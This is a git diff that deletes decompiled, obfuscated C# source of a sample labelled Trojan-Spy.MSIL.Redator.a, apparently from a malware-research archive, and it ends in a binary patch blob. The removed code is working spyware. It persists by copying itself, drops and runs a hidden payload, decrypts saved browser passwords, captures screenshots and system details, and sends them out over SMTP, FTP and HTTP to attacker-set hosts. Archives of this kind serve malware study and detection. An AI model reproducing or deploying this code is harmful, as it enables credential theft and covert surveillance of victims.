System.IO.File.Delete(\u0001.\u0003(-1567515655) + Environment.UserName + \u0001.\u0003(-1567515767)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - if (!Directory.Exists(\u0001.\u0003(-1567515655) + Environment.UserName + \u0001.\u0003(-1567515767))) - Directory.CreateDirectory(\u0001.\u0003(-1567515655) + Environment.UserName + \u0001.\u0003(-1567515809)); - if (!System.IO.File.Exists(\u0001.\u0003(-1567515655) + Environment.UserName + \u0001.\u0003(-1567515767))) - FileSystem.FileCopy(Application.ExecutablePath, \u0001.\u0003(-1567515655) + Environment.UserName + \u0001.\u0003(-1567515767)); - } - try - { - byte[] array = \u0002.\u0003(); - FileStream fileStream = System.IO.File.Create(this.\u0001 + \u0001.\u0003(-1567515887)); - fileStream.Write(array, 0, array.Length); - fileStream.Close(); - Conversions.ToString(Interaction.Shell(this.\u0001 + \u0001.\u0003(-1567515887), AppWinStyle.Hide)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - this.\u0001 = Strings.Space(checked ((int) FileSystem.LOF(1))); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileGet(1, ref this.\u0001); - FileSystem.FileClose(1); - this.\u0001 = Strings.Split(this.\u0001, \u0001.\u0003(-1567515846)); - this.\u0004().Text = this.\u0001[1]; - this.\u0005().Text = this.\u0001[2]; - this.\u0014().Text = this.\u0001[3]; - this.\u0015().Text = this.\u0001[4]; - this.\u0016().Text = this.\u0001[5]; - this.\u0017().Text = this.\u0001[6]; - this.\u001C().Text = this.\u0001[7]; - this.\u001D().Text = this.\u0001[8]; - this.\u0095().Text = this.\u0001[13]; - this.\u008B().Text = this.\u0001[14]; - this.\u0096().Text = this.\u0001[15]; - this.\u0097().Text = this.\u0001[16]; - this.\u0098().Text = this.\u0001[17]; - this.\u0087().Text = this.\u0001[9]; - this.\u0088().Text = this.\u0001[10]; - this.\u0003().Checked = Conversions.ToBoolean(this.\u0001[11]); - this.\u0003().AutoCheck = Conversions.ToBoolean(this.\u0001[11]); - this.\u0004().Checked = Conversions.ToBoolean(this.\u0001[12]); - this.\u0004().AutoCheck = Conversions.ToBoolean(this.\u0001[12]); - this.\u0003().Start(); - this.\u0004().Start(); - this.\u0005().Start(); - this.\u0006().Start(); - this.\u0007().Start(); - this.\u0008().Start(); - this.\u0007().Text = this.\u0003(this.\u0006().Text, this.\u0004().Text); - this.\u0008().Text = this.\u0003(this.\u0006().Text, this.\u0005().Text); - this.\u008A().Text = this.\u0003(this.\u0006().Text, this.\u0095().Text); - this.\u008C().Text = this.\u0003(this.\u0006().Text, this.\u0096().Text); - this.\u008D().Text = this.\u0003(this.\u0006().Text, this.\u0097().Text); - this.\u008E().Text = this.\u0003(this.\u0006().Text, this.\u0098().Text); - int integer = Conversions.ToInteger(this.\u001D().Text); - this.\u0003().Interval = checked (integer * 60 * 1000); - this.\u000E().Text = Environment.MachineName; - this.\u000F().Text = Environment.UserName; - this.\u0010().Text = \u0002.\u0003().Info.OSFullName; - this.\u0011().Text = \u0002.\u0003().Info.OSPlatform; - this.\u0012().Text = \u0002.\u0003().Info.OSVersion; - this.\u0013().Text = \u0002.\u0003().Info.InstalledUICulture.ToString(); - try - { - new SmtpClient(this.\u0087().Text) - { - Port = Conversions.ToInteger(this.\u0088().Text), - EnableSsl = true, - Credentials = ((ICredentialsByHost) new NetworkCredential(this.\u0007().Text, this.\u0008().Text)) - }.Send(new MailMessage() - { - From = new MailAddress(this.\u0007().Text), - To = { - this.\u0007().Text - }, - Subject = \u0001.\u0003(-1567515962) + Environment.UserName, - Body = \u0001.\u0003(-1567515909) + Environment.UserName + \u0001.\u0003(-1567516826) + Environment.MachineName - }); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.\u0003().RunWorkerAsync(); - this.\u0091().Text = this.\u0001; - if (System.IO.File.Exists(this.\u0001 + this.\u0001 + \u0001.\u0003(-1567516050) + this.\u0001 + \u0001.\u0003(-1567516060))) - System.IO.File.Delete(this.\u0001 + this.\u0001 + \u0001.\u0003(-1567516050) + this.\u0001 + \u0001.\u0003(-1567516060)); - this.\u0018().Text += \u0001.\u0003(-1567516145); - try - { - bool flag = false; - string str1 = Environment.GetEnvironmentVariable(\u0001.\u0003(-1567516124)) + \u0001.\u0003(-1567516215); - string[] directories = Directory.GetDirectories(Environment.GetEnvironmentVariable(\u0001.\u0003(-1567517235)) + \u0001.\u0003(-1567516207)); - int index1 = 0; - while (index1 < directories.Length) - { - string path = directories[index1]; - if (!flag) - { - string[] files = Directory.GetFiles(path); - int index2 = 0; - while (index2 < files.Length) - { - string input = files[index2]; - if (!flag) - { - if (Regex.IsMatch(input, \u0001.\u0003(-1567516175))) - { - \u0001.\u0003(path); - \u0001.\u0001 = input; - } - checked { ++index2; } - } - else - break; - } - checked { ++index1; } - } - else - break; - } - string str2 = \u0001.\u0001; - \u0001.\u0001 obj2 = new \u0001.\u0001(); - \u0001.\u0001 obj3 = new \u0001.\u0001(); - \u0001.\u0001 obj4 = new \u0001.\u0001(); - \u0003 obj5 = new \u0003(str2); - DataTable dataTable1 = obj5.\u0003(\u0001.\u0003(-1567516284)); - DataTable dataTable2 = obj5.\u0003(\u0001.\u0003(-1567516252)); - try - { - foreach (DataRow row in dataTable2.Rows) - ; - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - \u0001.\u0003(\u0001.\u0003(), true, 0L); - try - { - foreach (DataRow row in dataTable1.Rows) - { - string str3 = Convert.ToString(row[\u0001.\u0003(-1567516323)].ToString()); - this.\u0018().Text = this.\u0018().Text + \u0001.\u0003(-1567516319) + str3; - StringBuilder stringBuilder1 = new StringBuilder(row[\u0001.\u0003(-1567516301)].ToString()); - IntPtr num = new IntPtr(\u0001.\u0003(IntPtr.Zero, IntPtr.Zero, stringBuilder1, stringBuilder1.Length)); - \u0001.\u0001 structure1 = (\u0001.\u0001) Marshal.PtrToStructure(num, typeof (\u0001.\u0001)); - if (\u0001.\u0003(ref structure1, ref obj3, 0) == 0 && obj3.\u0001 != 0) - { - byte[] numArray = new byte[checked (obj3.\u0001 - 1 + 1)]; - num = new IntPtr(obj3.\u0001); - Marshal.Copy(num, numArray, 0, obj3.\u0001); - this.\u0018().Text = this.\u0018().Text + \u0001.\u0003(-1567516389) + Encoding.ASCII.GetString(numArray); - } - StringBuilder stringBuilder2 = new StringBuilder(row[\u0001.\u0003(-1567516376)].ToString()); - num = new IntPtr(\u0001.\u0003(IntPtr.Zero, IntPtr.Zero, stringBuilder2, stringBuilder2.Length)); - \u0001.\u0001 structure2 = (\u0001.\u0001) Marshal.PtrToStructure(num, typeof (\u0001.\u0001)); - if (\u0001.\u0003(ref structure2, ref obj4, 0) == 0 && obj4.\u0001 != 0) - { - byte[] numArray = new byte[checked (obj4.\u0001 - 1 + 1)]; - num = new IntPtr(obj4.\u0001); - Marshal.Copy(num, numArray, 0, obj4.\u0001); - this.\u0018().Text = this.\u0018().Text + \u0001.\u0003(-1567516368) + Encoding.ASCII.GetString(numArray); - } - this.\u0018().Text += \u0001.\u0003(-1567516145); - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void \u0007() - { - this.\u0003().Items.Clear(); - Process[] processes1 = Process.GetProcesses(); - int index1 = 0; - while (index1 < processes1.Length) - { - Process process = processes1[index1]; - this.\u0003().Items.Add((object) process.ProcessName); - checked { ++index1; } - } - this.\u0003().Sorted = true; - this.\u0003().Items.Count.ToString(); - if (this.\u0003().Items.Contains((object) \u0001.\u0003(-1567516488))) - return; - try - { - bool flag = false; - Process[] processes2 = Process.GetProcesses(); - int index2 = 0; - while (index2 < processes2.Length) - { - if (processes2[index2].ProcessName.Equals(\u0001.\u0003(-1567516595))) - flag = true; - checked { ++index2; } - } - if (flag) - return; - Process.Start(this.\u0001 + \u0001.\u0003(-1567516590)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void \u0004([In] object obj0, [In] EventArgs obj1) - { - if (System.IO.File.Exists(this.\u0001 + \u0001.\u0003(-1567516549))) - goto label_7; -label_2: - try - { - new SmtpClient(this.\u0087().Text) - { - Port = Conversions.ToInteger(this.\u0088().Text), - Credentials = ((ICredentialsByHost) new NetworkCredential(this.\u0007().Text, this.\u0008().Text)), - EnableSsl = true - }.Send(new MailMessage() - { - From = new MailAddress(this.\u0007().Text), - To = { - this.\u0007().Text - }, - Subject = this.\u0001 + \u0001.\u0003(-1567516050) + this.\u001C().Text + \u0001.\u0003(-1567516050) + this.\u0001, - Body = this.\u0003().Text - }); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - this.\u0003().Clear(); - this.\u0007(); - StreamWriter streamWriter = new StreamWriter(this.\u0001); - streamWriter.WriteLine(\u0001.\u0003(-1567516556)); - streamWriter.Flush(); - streamWriter.Close(); - if (!System.IO.File.Exists(this.\u0001 + \u0001.\u0003(-1567516549))) - return; - System.IO.File.Delete(this.\u0001 + \u0001.\u0003(-1567516549)); - return; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - return; - } -label_7: - this.\u0003().Text = System.IO.File.ReadAllText(this.\u0001 + \u0001.\u0003(-1567516549)); - goto label_2; - } - - public void \u0008() - { - using (WebClient webClient = new WebClient()) - { - try - { - this.\u0001 = webClient.DownloadString(\u0001.\u0003(-1567516666)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - private void \u0005([In] object obj0, [In] EventArgs obj1) - { - } - - private void \u0006([In] object obj0, [In] EventArgs obj1) - { - this.\u001E().Text = Conversions.ToString(this.\u0004()); - this.\u001F().Text = this.\u0003(); - this.\u007F().Text = Conversions.ToString(this.\u0003()); - this.\u0091().Text = this.\u0001; - Path.GetTempPath(); - try - { - new SmtpClient(this.\u0087().Text) - { - Port = Conversions.ToInteger(this.\u0088().Text), - EnableSsl = true, - Credentials = ((ICredentialsByHost) new NetworkCredential(this.\u0007().Text, this.\u0008().Text)) - }.Send(new MailMessage() - { - From = new MailAddress(this.\u0007().Text), - To = { - this.\u0007().Text - }, - Subject = this.\u0001 + \u0001.\u0003(-1567514679) + this.\u0001, - Body = \u0001.\u0003(-1567514655) + this.\u0018().Text + \u0001.\u0003(-1567514944) + this.\u001E().Text + \u0001.\u0003(-1567515093) + this.\u0080().Text + \u0001.\u0003(-1567515257) + this.\u001F().Text + \u0001.\u0003(-1567515440) + this.\u007F().Text + \u0001.\u0003(-1567515597) + this.\u0091().Text + \u0001.\u0003(-1567521858) + this.\u000E().Text + \u0001.\u0003(-1567516826) + this.\u000F().Text + \u0001.\u0003(-1567516826) + this.\u0010().Text + \u0001.\u0003(-1567516826) + this.\u0011().Text + \u0001.\u0003(-1567516826) + this.\u0012().Text + \u0001.\u0003(-1567516826) + this.\u0013().Text - }); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.\u0005().Stop(); - this.\u0005().Enabled = false; - } - - private void \u0007([In] object obj0, [In] EventArgs obj1) - { - try - { - string tempPath = Path.GetTempPath(); - int width = 1280; - int height = 1000; - Bitmap bitmap = new Bitmap(width, height); - Graphics graphics = Graphics.FromImage((Image) bitmap); - IntPtr num1; - int num2 = \u0003.\u0003(num1); - IntPtr hdc = graphics.GetHdc(); - \u0003.\u0003(hdc.ToInt32(), 0, 0, width, height, num2, 0, 0, 13369376); - \u0003.\u0003(this.\u0001, num2); - graphics.ReleaseHdc(hdc); - string str = \u0001.\u0003(-1567522153); - string filename = tempPath + str; - bitmap.Save(filename); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - MailMessage message = new MailMessage(); - message.From = new MailAddress(this.\u0007().Text); - message.To.Add(this.\u0007().Text); - message.Subject = \u0001.\u0003(-1567522117) + Environment.MachineName; - message.Body = \u0001.\u0003(-1567522240); - message.Attachments.Add(new Attachment(this.\u0001 + \u0001.\u0003(-1567522153))); - new SmtpClient(this.\u0087().Text) - { - Port = Conversions.ToInteger(this.\u0088().Text), - Credentials = ((ICredentialsByHost) new NetworkCredential(this.\u0007().Text, this.\u0008().Text)), - EnableSsl = true - }.Send(message); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void \u0003([In] object obj0, [In] FormClosingEventArgs obj1) => Application.Restart(); - - private void \u0008([In] object obj0, [In] EventArgs obj1) - { - try - { - int num = (int) MessageBox.Show(this.\u0017().Text, this.\u0016().Text, MessageBoxButtons.OK, MessageBoxIcon.Hand); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void \u000E([In] object obj0, [In] EventArgs obj1) - { - StreamWriter streamWriter = new StreamWriter(this.\u0001); - streamWriter.WriteLine(\u0001.\u0003(-1567522344)); - streamWriter.WriteLine(\u0001.\u0003(-1567522486)); - streamWriter.WriteLine(this.\u0018().Text); - streamWriter.WriteLine(\u0001.\u0003(-1567522499)); - streamWriter.WriteLine(this.\u001E().Text); - streamWriter.WriteLine(\u0001.\u0003(-1567522668)); - streamWriter.WriteLine(this.\u0080().Text); - streamWriter.WriteLine(\u0001.\u0003(-1567522728)); - streamWriter.WriteLine(this.\u001F().Text); - streamWriter.WriteLine(\u0001.\u0003(-1567522759)); - streamWriter.WriteLine(this.\u007F().Text); - streamWriter.WriteLine(\u0001.\u0003(-1567520852)); - streamWriter.WriteLine(\u0001.\u0003(-1567520917) + this.\u0091().Text); - streamWriter.WriteLine(\u0001.\u0003(-1567520904)); - streamWriter.WriteLine(this.\u000E().Text); - streamWriter.WriteLine(this.\u000F().Text); - streamWriter.WriteLine(this.\u0010().Text); - streamWriter.WriteLine(this.\u0011().Text); - streamWriter.WriteLine(this.\u0012().Text); - streamWriter.WriteLine(this.\u0013().Text); - streamWriter.Flush(); - streamWriter.Close(); - string tempPath = Path.GetTempPath(); - if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(this.\u008A().Text, string.Empty, false) != 0) - { - try - { - if (this.\u008A().Text.Contains(\u0001.\u0003(-1567520986))) - this.\u0001 = this.\u008A().Text; - if (!this.\u008A().Text.Contains(\u0001.\u0003(-1567520986))) - this.\u0001 = \u0001.\u0003(-1567520986) + this.\u008A().Text; - this.\u0001 = !this.\u008A().Text.EndsWith(\u0001.\u0003(-1567520975)) ? this.\u0001 + \u0001.\u0003(-1567520975) : this.\u0001; - FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create(this.\u0001 + this.\u0001 + \u0001.\u0003(-1567516050) + this.\u0001 + \u0001.\u0003(-1567516534)); - ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(this.\u008C().Text, this.\u008D().Text); - ftpWebRequest.Method = \u0001.\u0003(-1567521079); - byte[] buffer = System.IO.File.ReadAllBytes(tempPath + this.\u0001 + \u0001.\u0003(-1567516050) + this.\u0001 + \u0001.\u0003(-1567516534)); - Stream requestStream = ftpWebRequest.GetRequestStream(); - requestStream.Write(buffer, 0, buffer.Length); - requestStream.Close(); - requestStream.Dispose(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(this.\u008E().Text, string.Empty, false) != 0) - WebRequest.Create(this.\u008E().Text + \u0001.\u0003(-1567521082) + this.\u0018().Text + \u0001.\u0003(-1567521237) + this.\u0019().Text + \u0001.\u0003(-1567521403) + this.\u008F().Text + \u0001.\u0003(-1567521423) + this.\u0094().Text + \u0001.\u0003(-1567521556) + this.\u001E().Text + \u0001.\u0003(-1567521733) + this.\u0080().Text + \u0001.\u0003(-1567519898) + this.\u001F().Text + \u0001.\u0003(-1567520093) + this.\u007F().Text + \u0001.\u0003(-1567520284) + this.\u0091().Text + \u0001.\u0003(-1567520401) + this.\u0089().Text + \u0001.\u0003(-1567520545) + this.\u0090().Text + \u0001.\u0003(-1567520587) + this.\u000E().Text + \u0001.\u0003(-1567516826) + this.\u000F().Text + \u0001.\u0003(-1567516826) + this.\u0010().Text + \u0001.\u0003(-1567516826) + this.\u0011().Text + \u0001.\u0003(-1567516826) + this.\u0012().Text + \u0001.\u0003(-1567516826) + this.\u0013().Text).GetResponse(); - try - { - if (System.IO.File.Exists(tempPath + this.\u0001 + \u0001.\u0003(-1567516050) + this.\u0001 + \u0001.\u0003(-1567516060))) - System.IO.File.Delete(tempPath + this.\u0001 + \u0001.\u0003(-1567516050) + this.\u0001 + \u0001.\u0003(-1567516060)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.\u0007().Stop(); - } - - private void \u000F([In] object obj0, [In] EventArgs obj1) - { - try - { - new SmtpClient(this.\u0087().Text) - { - Port = Conversions.ToInteger(this.\u0088().Text), - EnableSsl = true, - Credentials = ((ICredentialsByHost) new NetworkCredential(this.\u0007().Text, this.\u0008().Text)) - }.Send(new MailMessage() - { - From = new MailAddress(this.\u0007().Text), - To = { - this.\u0007().Text - }, - Subject = this.\u0001 + \u0001.\u0003(-1567514679) + this.\u0001, - Body = \u0001.\u0003(-1567514655) + this.\u0018().Text + \u0001.\u0003(-1567518848) + this.\u0019().Text + \u0001.\u0003(-1567518858) + this.\u008F().Text + \u0001.\u0003(-1567518982) + this.\u0094().Text + \u0001.\u0003(-1567519131) + this.\u001E().Text + \u0001.\u0003(-1567515093) + this.\u0080().Text + \u0001.\u0003(-1567515257) + this.\u001F().Text + \u0001.\u0003(-1567515440) + this.\u007F().Text + \u0001.\u0003(-1567515597) + this.\u0091().Text + \u0001.\u0003(-1567519412) + this.\u009A().Text + \u0001.\u0003(-1567519543) + this.\u0090().Text + \u0001.\u0003(-1567521858) + this.\u000E().Text + \u0001.\u0003(-1567516826) + this.\u000F().Text + \u0001.\u0003(-1567516826) + this.\u0010().Text + \u0001.\u0003(-1567516826) + this.\u0011().Text + \u0001.\u0003(-1567516826) + this.\u0012().Text + \u0001.\u0003(-1567516826) + this.\u0013().Text - }); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.\u0008().Stop(); - this.\u0008().Enabled = false; - } - - private void \u0003([In] object obj0, [In] DoWorkEventArgs obj1) => this.\u0008(); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0007/_0001.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0007/_0001.cs deleted file mode 100644 index d2973c5a..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_0007/_0001.cs +++ /dev/null @@ -1,76 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f.exe - -using \u0004; -using \u0005; -using \u0007; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace \u0007 -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal sealed class \u0001 : ApplicationSettingsBase - { - private static \u0001 \u0001 = (\u0001) SettingsBase.Synchronized((SettingsBase) new \u0001()); - private static bool \u0001; - private static object \u0001 = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public \u0001() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerNonUserCode] - private static void \u0003(object sender, EventArgs e) - { - if (!\u0002.\u0003().SaveMySettingsOnExit) - return; - \u0003.\u0003().Save(); - } - - public static \u0001 Default - { - get - { - if (!\u0001.\u0001) - { - object Expression = \u0001.\u0001; - ObjectFlowControl.CheckForSyncLockOnValueType(Expression); - Monitor.Enter(Expression); - try - { - if (!\u0001.\u0001) - { - \u0002.\u0003().Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!\u0002.\u0003().SaveMySettingsOnExit) - return; - \u0003.\u0003().Save(); - }); - \u0001.\u0001 = true; - } - } - finally - { - Monitor.Exit(Expression); - } - } - return \u0001.\u0001; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_003CModule_003E.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_003CModule_003E.cs deleted file mode 100644 index ab5e379d..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/_003CModule_003E.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f.exe - -using \u0001; -using \u0003; - -internal class \u003CModule\u003E -{ - static \u003CModule\u003E() - { - \u0002.\u0003(); - \u0002.\u0003(); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/{22542804-11a8-4fba-88a0-b451cddbacb6} b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-0ffe71461f45eb03a9be8c4511c61dda546931a131248a9b132be930c160388f/{22542804-11a8-4fba-88a0-b451cddbacb6} deleted file mode 100644 index 73fc6282b078e548d9ed4115acede13db2e14372..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 18004 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 